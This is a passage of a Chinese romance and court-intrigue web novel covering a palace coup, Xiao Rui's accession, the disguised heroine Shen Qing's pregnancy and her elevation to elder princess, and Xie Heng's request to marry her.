陛下仓促间将文武百官召入宫中,没想到竟然在宫中伏兵! 可是陛下手中哪有这么多人马?看这些士兵的兵甲刀刃,不是宫中任何一队禁军,也不是洛京中任何世家亲兵或巡防守卫。 这些伏在宫中的兵马,根本不属于洛京城! 他看了一眼立在不远处一派气定神闲的谢道清,心里瞬间有了答案。 殿中百官一片惶然失措间,他深吸口气,朗声喊道:“原来是三叔远道归来。” 果然门外亦回以爽朗笑声:“不愧是我的好侄儿,一下就猜到是我回来了!” 伴随着这笑声,两方对峙的人马纷纷让出一条道,只见一个软胄戎装器宇轩昂的中年男子,手握长刀大步走了进来。 乾元正殿,于他不过闲庭信步。 正是谢道渊。 彻底看清来人后,谢珩一颗心狠狠沉了下去,饶是他向来处事淡然,这时候唇色都可见地有些发白起来。 所有人都以为谢道渊才刚从边地带着五万精兵出发。 沈青还在日夜兼程,为了赶去仰州拦截他。 但他直接带了兵马,就在此时此刻,活生生站在了乾元正殿。 谢珩眼睁睁看着来人走到自己面前,到底还是跟他保持了些距离:“一别多年,怎么瑾之看到我这个三叔,好像并不高兴?” 他敛去目光中短暂的惊愕,唇畔自嘲一笑:“确实没想到,三叔脚程如此之快,让人猝不及防。” 两人说话间隙,谢道渊也放眼打量着这位谢家的后起之秀,亦是谢家曾经所有的希望。 芝兰玉树,容色映人,比几年前见他,更添萧萧肃肃君子风范。 他说话的语气还带一点长辈的慈意:“瑾之,据我所知,你也不过是受奸邪蛊惑,暂时被蒙蔽住了,听三叔一句,回头是岸,我可以担保,谢家绝对既往不咎。” 谢珩闻言,举目望了望这满殿兵甲,目光涌动间带着几分恻然:“三叔,我本以为今日之变,可以不用重蹈当年覆辙,没想到最后还是要再造杀戮,血染长阶?” 谢道渊的目光顿时冷锐下来:“看来你是下定决心,要与我兵戎相见了。” 谢道清本就不抱希望,站在后面冷笑:“早就说他彻底疯魔,致使谢家凋敝,已经沦为世家的千古罪人,三弟现在亲眼所见,可以动手清理门户了。” 谢珩没有看他,目光依然只落在谢道渊身上:“二叔久居洛京,一叶障目,只见谢家百年基业,却不曾见过洛京之外,天下百姓在世家专权之下是何等水深火热。可是三叔你久在边关地方,见识广阔,难道也觉得谢家的门楣地位比天下苍生还重要吗?” 谢道渊冷锐的目光渐渐缓和些许。 谢珩趁势道:“谢家的锦绣富贵,都是靠吸食百姓血肉,三叔还能安享这富贵吗?” “瑾之……” “谢道渊!你以为到了今日你还有退路吗?别忘了,你以为萧瑞会放过你吗?” 见谢道渊语气艰涩,谢道清连忙及时喝断。 是啊,正麟宫变……他手上沾了太多鲜血,一旦萧瑞上位,就是他被碎尸万段之日。 谢珩知道他的顾虑,隔着几人,他与萧瑞略一对视,萧瑞不似他那般喜怒不形于色,年轻英俊的面容上,仇恨不曾消弭。 他叹了口气:“我可以尽力为三叔争取。” 萧瑞张了张嘴,终于还是什么也没说,以他现在的尴尬身份,什么也不适合说。 谢道清却一语道破:“为他争取?难道你不是自身难保?” “瑾之啊,瑾之,你向来心思玲珑,洞察人心,不可能看不出,一旦你扶持了这逆贼上位成功,他卸磨杀驴,第一个就是拿你开刀?” 谢珩不语,抿唇看向萧瑞,他果然还是年少意气,不够圆滑通透,听了这话,这样场合,也只梗着脖子,也不出声为自己掩饰几句。 他当然看得出萧瑞最后要做什么,不论他今日如何尽力扶持佐助,他日也难逃鸟尽弓藏的命运。 要消弭世家与寒门的隔阂,他必须是那个牺牲品。 趁他犹疑,谢道渊做出最后决定,一声令下,长刀向他挥来:“动手!杀!” 谢珩迅速往后退了两步,双方人马在殿内殿外拼杀一片,谢道渊一把长刀只对着他紧缠不放,却被萧瑞一柄软剑稳稳隔开。 谢珩没有恋战,远远退开,站到龙椅之下的高台上,以便纵观全局。 他望向萧瑞的目光一片清明:“可以一战。” 自见到谢道渊出现在乾元殿,短暂的惊愕过后,他很快恢复理智,粗略将眼下的情况盘算清楚。 有五万精兵正在赶往洛京不假,不过那也只是障眼法,谢道渊应该很早就动身,甚至在陈文轩出来揭露之前,他就已经动身了。 能够暗中带兵马入京潜伏多日而不被发觉,那说明他带进京的兵马其实非常有限,最多只能集中于此,在宫中与他们决一死战。 所以也不必担心府中亲眷会不会被屠戮,因为他们兵马根本不够,城内兵马,最多只能与他和萧瑞手下的禁军互相牵制。 生死之战,只在这一方殿堂之内。 至于沈青……仰州也不算白去,拦截住那五万后援,也可免洛京再陷入危机。 前提是,在这一方殿堂,他们必须要拿下这局。 这场猝不及防的厮杀,虽然没有想象中那样灭顶之灾,但也实在不容乐观。 因为对方早就确定这殿堂之中是生死决战,所以几乎将所有兵力和布署都孤注一掷于此,以逸待劳,请君入瓮。 谢珩端立一方高台前,注视眼下激烈战局,尽管他们也早有布署,但不曾想过是这样的一场宫变,最终还是落了被动局面。 谢道渊的兵马数量更多,长期在边关战场,战斗力也更强,一开始两方在殿外殿内厮杀,到后面厮杀范围越来越小,几乎都集中于这乾元殿内。 恢弘宽阔的乾元正殿,在这样混乱杀戮中,也显得格外逼仄起来。 许多手无缚鸡之力之力的官员都互相缩成一团,无处可去,只能越退越后,最后缩到殿前一角,这些朝廷栋梁,此时竟然跟一群待宰的鸡仔毫无分别。 向宫外传递消息的渠道早就被切断,无法及时调兵遣将,等外面的人发觉不对,里面的战场,只怕早就结束。 但这已经是他们尽最大能力的布署了。 是成是败,人事已尽,就看天命了。 同样端站一边的谢道清不由得侧目看他:“瑾之,你们败局已定,还要垂死挣扎吗?” 谢珩眉眼平静,眼看殿堂上血流成河。 即便是败局,那也只能玉碎,不可瓦全。 “据我所知,沈青已经出城好几天了,这会儿估计都快到仰州了,等他得到消息,那也只能怪你们自己,聪明反被聪明误。” “不过就算他留在洛京,也是无事于补的,虽说他名动一时,武功高强,但毕竟手上没有一兵一卒,一只老虎被拔了爪牙,在这里也是送死,出去了也挺好,你可以死而无憾了。” 听到沈青的名字,谢珩清冷的眉目多了一点温柔与留恋。 是啊,还好她已经出城。 就算今日他和萧瑞身死,她也许会伤心,可是天地阔大,她在哪里都是一株随风生长的劲草,无论在哪,都会落地生根。 她应该会伤心很久吧? 就算以后再遇到其他绝色公子,应该也不会忘了他吧? 惹佳人伤心一番,能让她记一世,那也不枉此生了。 这么一想,他唇畔刚勾起一丝笑意,就听见一声暴呵,然后就看见萧瑞身中谢道渊一刀,倒在地上。 他手中银丝正要翻出,长刀已经架在萧瑞脖颈之上。 “都住手!再反抗者杀无赦!” 殿内兵甲交接的厮杀渐渐平息,谢珩紧握袖中玄关,准备出其不意救下萧瑞,殿外杀声忽然四起。 细细听来,由远而近,像是很多女子的声音! 还有马蹄哒哒,直奔殿中,一声清越的马鸣长啸里,到处陈尸流血的殿堂被一匹膘肥体壮的白色骏马肆意踏入,堪堪勒马。 马背上青衣秀挺,一杆长枪如练。 容颜清绝楚楚,垂眸睥睨众生。 第103章 第103章沈公子有身孕了 “沈青!” “大哥!” 远去仰州的沈青竟然长枪白马踏进殿堂,谢珩和萧瑞都不由得脱口喊出,听到来人名讳,谢道渊下意识仰头去看,马背上的青衣公子劲瘦飒然,五官清绝俊秀得摄人心魄,她微扬起下巴,唇畔勾起一抹桀骜而不屑的笑意。 怪不得瑾之会被这妖孽蛊惑! 谢道渊回过神来,手中长刀径直往萧瑞胸口刺去,余光里一杆长枪扫来将他挡开,他被震得虎口发麻,堪堪握住长刀不至 于脱手,整个人却退了好几步。 萧瑞趁机从地上翻身而起,被几个手下护住。 随着沈青的马蹄踏入,殿外渐起的杀声很快也冲进殿堂之中,谢珩正纳罕她手中无一兵一卒,却见杀进来的果然不是禁军亲兵,而是一群布裙荆钗的女子。 她们手中的武器也各拿各的,刀枪棍棒,估计是临时起意,手边有什么,就拿了什么出来。 因为人数不少,又加上这些女子格外猛悍,一时间竟彻底扭转了原本的颓势。 他想起来了,这是非要跟着沈青入京的五百女匪,给她们争取了女户,让她们在洛京中安然度日。 沈青长枪立马,银亮的枪尖轻轻抵在地面:“宫外禁军正在驰援路上,现在束手就擒,还来得及。” 她的声音清泠,如丛林中沁凉的清泉淌过石头,动听之余也让人背脊一凉。 可是眼前明明就是一个唇红齿白的小公子。 只要宫外援兵还没到,这群乌合之众女流之辈算什么?还有最后的翻盘机会! 谢道渊下了决一死战的决心,重新握紧手中长刀,目光如炬:“久闻莽山沈青之名,今日幸会了。” 不待话音落下,长刀与银枪在空中铮然相碰,锐鸣间擦出火光四溅,不过沈青不在力量上与他多较量,她擅长出其不意,一杆长枪在她手中犹如白练翻飞,杀意森然间,却诱得人目不暇接。 谢珩知道三叔在沈青手下讨不到便宜,一颗心暂时落地,趁机指挥眼下混乱战局。那五百女子虽然勇猛,但毫无章法,而禁军亲兵,虽然暂时恢复士气,但折损不少,他要把这两对人马集中起来,发挥出最大力量,以待援兵。 他拿了手中玉笏,站在高台上,正好让殿中混乱杀成一片的兵马看到他的玉笏挥动方向,渐渐让毫无章法的力量汇聚起来,势力顿时壮大了不少。 沈青与谢道渊还在过招,不过她也不下马,就借着自己长枪高马的优势,将谢道渊紧逼得步步败退。 “沈青你这样未免也太胜之不武了!算什么英雄?” 谢道渊挡下一枪,沈青坐下白马就踏着铁蹄当头踩下,他对准白马的脖颈砍下一刀,被座上主人轻而易举挡开,他险些没有躲过白马的铁蹄,不由得怒骂。 沈青不理他,手腕一翻,预判了他想要越过台柱绕到马匹无法进行的地方,锃亮银枪就稳稳抵上他的脖颈。 她沈青秀眉微挑,笑得人畜无害:“胜都胜了,管什么武不武的?” 不用她开口,原本还杀得昏天黑地的殿堂,渐渐沉寂安静了下来。 殿外是沉沉脚步,鱼贯而入。 宫外的援兵疾步涌入,到底训练有素,见杀戮场面结束,很快便在殿前殿后列队林立。 大势已去。 很快有人上前将谢道渊从沈青的长枪下押走,连带着谢道清还有一众同党,都被押解。 沈青这才翻身下马,她先看了一眼谢珩,眼神清亮地冲他笑了笑,谢珩亦回以莞尔一笑。 不过她没有直接奔向谢珩,而是快步走到萧瑞面前,萧瑞胳膊受了伤,刚简单处理过,脸色还有些发白,就看到径直到了眼前的大哥,直接屈身,单膝跪了下来,双手抱拳举过头顶。 “属下救驾来迟。” 萧瑞目中闪过惊愕,忙弯身去扶,沈青如被钉在地面上一般,并没有起身。 好一会儿,少年眼中的惊愕才缓缓沉淀下去,满朝文武都知道沈青是莽山的老大,他只是依附于沈青的义弟。 现在莽山的老大单膝半跪在他身前,自称“属下”。 从即刻起,他的大哥,变成手下朝臣。 于是他扶住沈青手臂的那只手,慢慢松开,转而在她手臂上轻轻拍了两下:“日夜兼程,辛苦你了。” 沈青还没起身,他先转过身去,大步走向高台,然后一步一步,稳稳地走向那张端置于高台之上,空无一人鎏金溢彩的宽大龙椅。 “出来吧。” 萧瑞叹了口气,语气居然还算温和,龙椅前一张桌案,垂下的帷幔簌簌发抖。 他摇摇头,目中流露出无奈,一把将躲在桌下的孝武帝拎了出来。 被拎住龙袍的孝武帝吓得仰头嗷嗷直叫:“不关我的事啊!是他们让我召你们进宫的!说这样才能保我一命!不要杀我不要杀我!” 带着哭腔的求饶不成语调,在满殿肃然中显得格外聒噪。 “萧瑞……” 沈青还半跪在堂上,忍不住出声,但也只是喊了一声他的名字,没有说出后面的话。 平心而论,孝武帝也算无辜,当年正麟宫变,虽然世家打的是他的名义,可事发时,他也是在先帝病危时,还在寝宫睡觉的他被世家权臣们捉进宫中侍疾,待先帝驾崩,将他架在宫中,用他的名义来诛杀的成王。 自始至终,他都只是一个被架起来的幌子。 况且于私而言,她自入洛京,孝武帝对她不差,乾元殿上的血流得够多了,她也不希望萧瑞再造杀戮。 可她毕竟不是萧瑞,她身上背负的东西没有他那么深重,她不能干涉他的决定。 何况君王更迭,即便他要将孝武帝一脉屠戮殆尽,也是情理之中。 听到她隐忍的这一声,萧瑞稍微顿了顿,将已经瘫软的孝武帝扶到龙椅上坐好,顺手在桌案上取了纸笔,摆在他面前,甚至还颇有耐心挽了衣袖取了砚台研墨。 “纸笔就绪,侄儿请叔父写一封退位诏书,再将传国玉玺交给侄儿,叔父就尽兴享乐,颐养天年吧。” 此话一出,沈青微微松了口气。 这小子,怎么跟她一样,越是办正事,语气里越是没个正形,别说,这样还怪吓人的。 孝武帝魂飞魄散中灵魂忽然归了点位:“你……你不会杀我?” 萧瑞礼貌微笑:“侄儿怎么会枉顾人伦,诛杀自己的叔父呢?” 孝武帝被他笑得发憷,赶紧抓了纸笔一顿奋笔疾书:“好,我马上写,写了就不用当皇帝了!” 笔墨刷刷落下,最后玉章一盖,退位诏书和传国玉玺被他当烫手山芋般,迫不及待塞进了萧瑞的手中。 尘埃落定。 萧瑞手握诏书和玉玺,于高台上缓缓转身,入京不过两年的稚嫩少年,如今身形挺拔,眉目威严,肃穆望着 阶下血迹未干的殿堂。 沈青率先出声:“参见陛下,吾皇万岁,万岁,万万岁。” 她代表着,与萧瑞一派的寒门士族。 “参见陛下,吾皇万岁,万岁,万万岁。” 刚才厮杀时一直缩在众朝臣中的晋王也跪了出来,他身后,是皇家宗室。 最后所有人的目光都集中在了谢珩身上。 谢珩长身玉立,一袭白衣在这样激烈的杀戮中,竟然看起来还是这样纤尘不染,这样高渺绝俗的神仙公子,总是让人觉得,不该沾染人间俗务才是。 他微抿着唇,缓步走到沈青身边,与她并肩跪下。 “吾皇万岁,万岁,万万岁。” 世家高门,也在此刻臣服于新帝。 经历了这样轩然大波的文武百官这下也彻底反应了过来,争先恐后乌泱泱在一片狼藉中跪了一地。 高呼“万岁”的声音此起彼伏,萧瑞压抑住眸光中情绪涌动,视线沿着高台往下,一点一点缓缓移过大殿中每一个跪拜的人,还有横七竖八未及清理的尸体,甚至连浸血的地砖、雕刻了反复花纹的梁柱,都映于眼底。 他伸出手,掌心向上,衣袖之下,就是高台玉阶,文武百官。 “众爱卿平生。” 寒门士族,世家高门,皇家宗室,在他掌心之下,缓缓站起身来。 所有人屏着的那口气,终于放松下来。 谢珩下意识看向身边的沈青,离京好几日的她骤然出现,他还没有好好看她一眼。 可是视线刚刚落在她脸上,他徒然变了脸色:“你受伤了?” 说话间,也不顾现在是大厅正殿,已经上手前后检查她身子。 “没有啊,我刚才怎么会受伤?” 没有看见外伤,谢珩心中更加悚然,难道是受了什么内伤,重到连自己都察觉不到? “那你脸色为何这样苍白?” 沈青莫名其妙:“……最近太阳晒少了?” 她也没有料到,最后一个话音还没完全落下,身子就不受控制往前栽,她还看得见谢珩瞬间惊慌的眼神,但她也再说不出什么话,就眼睁睁看着自己落入一个温厚的怀抱。 “沈青!” “快宣太医!” 耳畔是谢珩失了魂的声音。 她一双眼眸轻轻合上,很奇怪,她现在能听见能感受,周围像是陷入了一片混乱,混乱中,她知道谢珩将她横身抱在怀里,从他急切的脚步中,她甚至还能判断出他们的方向,应该是往乾元殿后面的内殿中去。 果然,很快,她的身子被放在一张软榻上,她又有力气撑开眼睛了,映入眼帘的,是谢珩惨白如纸的一张脸。 他的手探在她脉搏上:“沈青,你可千万别吓我。” 这下沈青说话的力气也恢复了:“奇怪,可能赶路赶太急了,居然眩晕了。” 但是印象中,自己身子也没这么不经造吧? 谢珩之后,萧瑞也很快领着一个太医匆匆进了内殿:“快,给我大哥瞧瞧。” 对于殿前一切还惊魂未定的太医忙在软榻前跪了下来,抬手搭脉,谢珩默不作声握住沈青的另一只手。 太医凝神诊了会脉,轻搭在她手上的指尖开始颤抖。 很快,他眉毛胡子也开始颤抖。 最后整个人肩背脊骨都在发抖。 沈青简直要吓死:“我是得了什么绝症吗?” 太医吓得伏倒在地,连连磕头:“饶命,饶命啊!” 他是真不知道这位半柱香之前入主宝殿的新帝是个什么脾性,总是先喊饶命是没有错。 萧瑞真是肉眼可见暴躁起来:“你说清楚,我大哥到底怎么了?” 听他喊着“大哥”两个字,太医是真的吓得要哭,他小心翼翼抬眸看了看几人的神色,只有谢珩神色温和,还带了一点期许。 或许是从这温润公子身上获得一点勇气,他梗着脖子,视死如归道:“沈公子……沈公子已有身孕。” 沈青轰然抬眸,下意识望向谢珩,谢珩眸中一片清润,温温柔柔地落在她身上。 方才进来的时候,他已经探出她的脉向,只是不敢完全确定,才让太医再诊了一遍。 “沈青,你有孩子了。” 他莞尔笑了笑,声音里带了几分喑哑,是他无尽的后怕。 太疏忽了,他真是太疏忽了。 这几日来回数百里的奔波,方才与谢道渊的殊死搏斗,但凡出一点意外,他都万死难咎。 短暂地惊愕过后,因为盼望了很久,不经意的惊喜,在沈青看来一切都顺理成章。 她也冲谢珩笑了笑:“是啊,我有孩子了。不对,是我和你有孩子了。” 两人很快就了然接受自己即将为人父母的消息,此时内殿中最惊愕的还是萧瑞。 他难以置信地望向谢珩。 什么意思?洛京第一公子,竟然真的有旁人不曾有的本事,居然还能让男人有身孕? 第104章 第104章臣请尚公主 萧瑞正式登基后,这次宫变,被定性为叔侄禅位,所以国号不变,只增了帝号,是为“运宗帝”,年号“景则”。 他登基昭告天下后,第一件事就是亲自为成王翻案追封,义庄暗不见天日的无字牌位,虽说供奉的除了成王,还有当年正麟宫变的所有受难者,这座牌位依然被请入皇家宗庙供奉起来。 为了平衡各方势力,根基还未站稳的年轻帝王决定施以仁政治国,谢道清谢道渊这类世家政敌,最终也只是被贬黜离京。 而曾经的孝武帝,依然享受宗室亲王的封号,在西南给他圈了一块封地,让他安享年华,永不必再回洛京。 朝局未定,对于这次拥护了自己的朝臣,萧瑞自然进行了不同程度的封赏,晋王和谢珩,代表着宗室和世家,自是不用说,给了他们至高无上的嘉奖;其他有明显拥护之意的官员,也各有赏赐;甚至是之前态度模棱两可没有站队的一众老臣,也会受到一定程度的安抚。 不管怎么样,新君收买人心的姿态做得很足。 唯有沈青的封赏,让这位新君陷入纠结。 他怎么也没想到,登基后最大的意外,是出自于他的大哥。 按他原来的计划,他的大哥多年辅佐,有不世之功,将来必定是要取代谢珩,成为新朝辅政第一臣。 现在这是个什么事呢? 朝堂之中对此事也众说纷纭,谢珩向他提议,建议封沈青为长公主。 一石激起千层浪,这个提议顿时在朝堂中炸开了锅,翻来覆去也讨论不出一个结果。 朝堂上为沈青的封赏问题议论得沸沸扬扬时,沈青窝在谢府休养了好些日子。 因为是初孕才一月有余,胎像还很不稳固,她又是冒雨,又是来回骑马奔波,又是长枪短剑里跟人大打出手,无意中确实动了些胎气。 整整半个月里,不管是洛京的名医,还是宫中的太医,基本都没离开过谢府。 其实沈青自己真觉得问题不大,除了刚诊出有孕那两天,确实因为奔波忙累动了胎气,在榻上昏天暗地睡了两日,休养好精神后,除了稍微困倦一点,没胃口一点,她感觉自己跟平时基本上没什么分别。 可是她居然拗不过谢珩。 也不是拗不过他,就是她不想听那些郎中太医乱七八糟的话,谢珩又生气又哀叹的样子实在太可怜,她真看不了他这模样。 于是她只好忍着性子,让那些郎中每隔一个时辰就来给她诊一次脉,吃什么,喝什么,几时起,几时坐,她像一个牵线木偶一样全凭郎中吩咐,身子是一日比一日强健了,精神反而怏怏起来。 吓得郎中们忙商讨出对策,该让沈青随心所欲为所欲为,只要不乱吃乱撞就行。 沈青先回了一趟沈府,安顿了父母家人的灵位。 萧瑞为正麟宫变翻案,当年所有受牵连的人都被平反,她的父亲不再是逆贼沈毅,母亲和两位哥哥也不再是无字碑上无名无姓的游魂。 只是当年母亲和哥哥命丧沈府,而父亲是多年后在莽山病逝安葬,她现 在能做的,也只能将所有家人灵位安置在沈府,算是一家人多年后终于团聚。 她向来克制,没有让自己伤感的情绪沉溺太久,然后快快乐乐地告诉家人自己腹中有了孩子这件事。 一个和她血脉相连,新的家人。 在沈府走了一趟果然还是累,晚上她是枕在谢珩的臂弯里,听他絮絮说着朝堂事,很快睡着。 晨间醒来,枕畔已经无人。 她慢吞吞起身,喊了府上妆娘替她梳妆。 虽然现在她女儿身份差不多人尽皆知了,不过在府上她行为随意,加上多年习惯,大部分时候她还是觉得穿着男子装束更加方便。 今日她让妆娘替她梳妆,专门穿戴上谢珩给她买的那套点翠鎏金的头面。这幅头面上身,一般的衣裙也配不上,不过这些日子谢珩早就给她置办了不少衣裙,妆娘选了一件广袖流纱羽衣长裙,正好也是碧翠颜色,点缀珍珠,与那套点翠的头面相得益彰。 沈青喜欢青绿的颜色,不过镜中青衣秀挺的少年,现在是翠色衣裙的清丽少女。 不得不说,妆娘的手艺就是比谢珩要好,镜中容颜,又比那天还要惊心动魄许多。 梳妆过后,沈青乘了马车,径直去了宫门。 宫门处,得知是沈青的马车,竟然直接就放行,让这马车堂而皇之驶入宫门。 这竟比当年权势滔天,可以乘坐轿辇出入宫门的谢道清还要宠命优渥。 直到乾元殿外,她才由人搀扶护送着下了马车。 阶前血迹早就清洗干净,魏巍殿堂,换了新君。 随着她缓缓走上台阶,乾元殿内群臣朝议的声音也越来越清晰。 “公主即帝姬,必须是皇室正统血脉,才有资格封称公主,若执意要封沈青为公主,岂不是混淆扰乱皇家血脉?” “沈青有功在身,理应犒赏,陛下可以赏赐一个诰命的身份,当然陛下与沈青有共患难的情分,为了彰显陛下恩宠,那封赏一个县主,也绰绰有余了。” “可是沈青到底是女子身份,若赏赐太过,届时她插手朝政,牝鸡司晨,只怕于国不利,还请陛下三思啊!” 沈青每上一步台阶,脸色就要微沉一分。 这些一天到晚只知道叭叭叭的老迂腐们,对于新帝,倒是适应得快,只不过萧瑞刚登基还根基不稳,必须要笼络他们,才让这事跟他们拉扯了这么久。 怎么她就不能当公主了? 她大步一跨,直接迈入乾元殿的门槛。 “微臣参见陛下。” 她缓缓走到正殿中间,屈膝要跪,忙被萧瑞抬手拦住。 “大……姐……那个,爱卿快免礼。” 沈青盈盈抬头,萧瑞只觉自己定在龙椅上,连呼吸都有些困难。 直到现在,这样一个亭亭玉立的少女就在眼前,肤若凝脂,眼似秋波,明明美得惊天动地,他也没办法接受,这是他大哥? 他从小到大最最敬佩的大哥? 他视线有些不受控制地从她锁骨往下看,希望能找出一点破绽,最好他大哥是在跟他开玩笑,其实他是男子,只是因为断袖,然后喜欢上穿女子衣裙罢了。 当然,不仅是萧瑞,满朝文武看着这长裙委地的娇俏华贵女子缓缓从眼前经过,眼睛都发直,这真的不是沈青有什么男扮女装的癖好吗? 还是谢珩在旁轻咳了两声提醒:“陛下。” 萧瑞忙回过神来:“大……长姐啊,你怎么过来了?” 沈青坦然答他:“听说你们因为我的事情争论不休,我就过来看看到底是什么情况。” 待她说完,马上有朝臣提醒她:“沈青,这里是乾元正殿,天子和朝臣商讨国事的地方,你一个女流之辈,怎可随意踏入?” 为了给萧瑞面子,沈青没有翻白眼,她只是笑眯眯反问:“当时我带兵闯入殿堂,跟谢道渊死战的时候,你怎么不说这话?” 那人被噎了一下:“……当时情况紧急,与现在不同。” 沈青跟他分辨,这话也是说给其他人听的:“同样是我这么一个人,做了这么一件事,当我身穿男子衣袍,就都纷纷夸我有盖世之功,当我换上女子罗裙,就变成牝鸡司晨了?” “你们现在能安然站在这里侃侃而谈,不是因为我力挽狂澜?退一万步,你们以为陛下变成现在这样英武不凡的模样很容易吗?这么多年要培养出一位贤明的君王,是很不容易的。” 马上又有人出来提醒:“沈青,陛下天子,何为天子?就是上天的命定之人,你拥护有功,也该明白急流勇退,不可功高盖主的道理。” 沈青知道,跟他们讲道理,三天三夜都扯不清,她直接问:“亲王是不是必须皇室正统?” “那当然,亲王不都是宗亲吗?” “可是本朝有大功之人,也有异姓封王的前例吧?” “什么意思?你还觉得自己能封亲王?” 沈青笑得乖巧又粲然:“那当然不是,我是女子,怎么能当亲王呢?只不过是在想,男子有盖世之功,可封异姓亲王,那我身为女子,相应的就封个异姓公主,这问题有什么难的?” 朝堂上一片鸦雀无声。 他们不是没见识过沈青的歪理邪说,但还是觉得这理也太歪了,偏偏还让人完全无从辩驳起。 萧瑞这才大笑了起来:“大……沈爱卿说得十分在理,为朕解除了多日困惑,朕意决,沈青是朕长姐,理应册封长公主,待礼部去拟了封号,就行册封仪式。” 大部分人终于不再执拗,只有几个迂腐老臣,还在苦思冥想,该如何继续阻止这场“牝鸡司晨”的灾难。 在他们想出对策前,百官之首谢珩已经站出来,直挺挺跪在地上。 “既然陛下已经做出决断,臣有一请,望陛下恩准。” “请陛下为臣赐婚,臣请尚公主。” 此言一出,众人哗然,连萧瑞都怔了怔。 他当然知道谢珩与沈青的关系,这也是他心里始终纠结的地方。 明眼人都知道,他现在为了稳固世家,没有动谢珩,甚至依然高官厚禄,给他一人之下万人之上的滔天权势。 可是终有一天,他需要谢珩离开这个位置。 但他一直没有想到一个最合适的方法,让天下世家能接受,也让沈青能接受。 谢珩却公然请旨尚公主。 自古驸马无仕途。 难怪他要提议,让他册封沈青为公主。 比起萧瑞的微微无措,沈青站在一旁,正好可以看见谢珩笔挺矜贵侧颜,无比坚定。 原来谢珩说让她安心,从来没有骗她。 她现在很安心。 第105章 第105章你哪天想嫁了,我随时…… 在朝堂局势基本稳定下来后,萧瑞开始封赏宗室亲眷,他孑然一身,没有亲生的兄弟姐妹,堂系兄弟姐妹倒是封赏了不少。 当然最令人瞩目的还是对沈青的封赏,作为大渝自开朝以来的唯一一位异姓公主,礼部定了不少封号,都被萧瑞打了回去,最后定了“宸阳”之号,被尊为“长公主”,食邑、封地、亲兵、入朝议政的特权,比宗室亲王还甚,足见新君对这位公主有多敬重。 至于兰台令谢珩所请的“尚公主”,萧瑞也欣然答应,待沈青长公主册封礼过后,马上替二人赐了婚。 无论江湖还是朝堂,早就被世家专权的弊政掏空太久,百废待兴,沈青没让萧瑞大兴土木给她置一座新的府邸,就让工匠照着长公主府制的规格,在沈府的基础上修缮改造,将沈府旧邸改成一座长公主府。 她也不在乎那些婚前夫妻双方不可见面的繁文缛节,谢府住得更舒服,她就继续住在谢府。 长公主大婚,一应事项皆由礼部来操办,按宗室婚嫁的制度,至少也要三个月到半年的准备,但沈青有孕在身,不适合再等这么久。 其他媒聘礼节都可以压缩,但是大婚时的凤冠霞帔却来不及赶制,毕竟沈青肚子一天比一天大,就算现在量了尺寸,等赶制出来,只怕又穿不上。 不过礼部还没来得及发愁,谢珩定制好的凤冠和嫁衣,便送到府上。 沈青是在谢府的正厅见到端置其中的凤冠和嫁衣,那顶凤冠用紫檀白玉底托稳稳托住,千丝万缕熠熠生辉的纯金雕镂锻造,大大小小明珠美玉,张扬华贵,璀璨夺目,但绝不显得富贵粗陋,是显山露水的美轮美奂,就算是房中珍藏的那两套价值连城的头面,在这凤冠前顿时都相形见绌了。 还有那身流光似火的嫁衣,因为衣袖裙摆过于宽长,需要用好几张梨木架才能将嫁衣完整架起,长长裙摆几乎能铺过小半面厅堂,流光溢彩,好像九天仙女亲自为她织就。 新娘子她见过不少,但她从未见过,世上女子衣物首饰竟然能华贵美丽到这种程度。 她愣愣看了许久,一双清澈的眸子里映满凤冠和嫁衣的流转生辉,许久才回过神来:“ 没想到……你竟然那么早就开始准备这些了。” 这样的凤冠和嫁衣,绝非十天半月之功,她想象不到,谢珩该在多早多早的时候就准备好这一切,至少还是她没那么愿意嫁的时候,他就一个人在默默将这一切都准备就绪。 谢珩侧过头看她,见她眼神中震惊之外,俱是欣喜,终于也放下心来,还好她是喜欢的。 “早早准备着,这样的话,你哪天想嫁了,我随时可以娶。” 他轻声解释,但还是略微担忧:“婚期还在二十天后,我让绣娘将嫁衣的腰围改大了寸许,整体应该看不出来。” 沈青的目光从嫁衣转到谢珩身上,忽然想到,如果她一直不愿意成婚,他就偷偷守着这凤冠和嫁衣,一直等下去吗? 公子芝兰玉树,清矜雅正,与这样的绝色公子携手并肩,这样的无价之宝摆在面前,她哪有不要的道理? “谢珩,能与你结为夫妻,我很开心。” “我也是,是我三生有幸,才能成为你的夫君。” * 离大婚还有大半个月,沈青也没什么要操心的事情,就是从一开始的疲累无力,进入到了一个新的阶段。 吃什么都不太有胃口,好几次她闻到鲈鱼鲜美或肉汤醇香,她都只觉得腥膻,吐得昏天黑地,简直把谢珩吓得半死,恨不得把她捧在手心里天天守着,某天半夜在惊悸中醒来,盯着枕畔人正安睡无虞,许久才重新放心睡下。 好在所有太医和郎中都说这些孕中不适都是十分正常的反应,不必太有心理负担,在有胃口的时候多吃一些,在身体没有不适的时候,多出门走走,才对身体更有裨益。 这倒是让谢珩放心了些许,不过他大部分时候也不再上朝,几乎日日守在沈青身边。 沈青听说孝武帝,噢不,现在又变成礼王殿下了,在封地一切安排布置好后,终于要离京远去,想到入京后这位曾经的君王对她和萧瑞还算宽厚,她与谢珩也去城外送了他一程。 这礼王殿下,不当君王后,原来总是昏昏欲睡的气色,现在看起来都精神了很多,也算是个妙人儿,不仅原先的嫔妃美人都愿意跟他去蛮荒之地共度余生,就算是后宫里那些美少年,不管他怎么落魄,也坚决不离不弃。 他去了封地,反倒如鱼得水,大概也是风流半生。 面对沈青和谢珩的相送,他看到女子装扮的沈青,还痛心疾首了好一番,然后忍痛又给了她一个小匣子。 沈青回去没让谢珩看,自己偷偷打开,果然都是些压箱底的好宝贝,只不过两个小人儿,从两个男人变成了一男一女。 送走礼王,距大婚还有十天的时候,在谢珩的陪同下,沈青又进了一趟宫。 她还有一些重要的事情,必须要在大婚前,趁热打铁解决了。 没有让谢珩一直跟着,她跟萧瑞两人随意在御花园中走走,身后的随从内侍也只远远跟着。 萧瑞登基以来,要处理的事情太多,沈青身子也一直不大舒爽,说起来,这竟是两人那日宫变后,第一次这样单独相处。 正值盛夏,御花园里花木葱茏,萧瑞余光里可以瞥见身边的大哥裙摆逶迤,鬓边步摇轻晃。 即便已经过去很多很多日,甚至宫中太医每天都会来汇报沈青孕中情况,他还是无法直视大哥那张描眉点粉的芙蓉娇靥。 总有种她就是在男扮女装的怪异! 沈青浑然不觉她这位弟弟究竟有多大心理阴影,认真跟他说起她要解决的问题。 